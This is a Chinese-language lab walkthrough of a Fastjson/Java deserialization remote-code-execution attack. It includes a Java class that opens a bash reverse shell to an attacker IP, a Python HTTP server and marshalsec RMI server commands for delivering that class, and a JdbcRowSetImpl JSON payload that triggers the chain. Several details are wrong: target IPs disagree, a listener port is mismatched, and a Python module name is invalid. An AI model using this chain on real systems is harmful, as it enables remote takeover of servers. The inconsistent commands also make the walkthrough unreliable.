Java反序列化漏洞实战:远程代码执行
靶场:192.168.0.127:8090
攻击机:192.168.0.126
端口:nc-1111、python-2222、marshalsec-3333
验证漏洞:curl http://192.168.0.141:8090/ -H "Content-Type: application/json" --data '{"age":21,"name":"myon"}'
出现如下词条,证明有该漏洞

在touget文件夹下新建文件TouchFile.java,内容如下
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[ ] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.126/1111 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

之后进行编译:javac TouchFile.java,发现出现了TouchFile.class

在此处开放python -m http.service 2222供被攻击者下载木马文件

新建一个shh并在target下开放端口marshalsec,当有人访问3333,自动访问2222进行下载TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.126:2222/#TouchFile"3333
开放端口nc -lvvp 2222进行监听

进入网页进行刷新抓包,将抓到的包发送到重放器

在重放器中修改提交模式为POST,在最后放入下面的jeson请求
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.126:3333/TouchFile",
"autoCommit":true
}
}
nano
rm
查看3333端口出现信息

查看1111端口发现shell连接成功
可以正常执行命令

更多推荐



所有评论(0)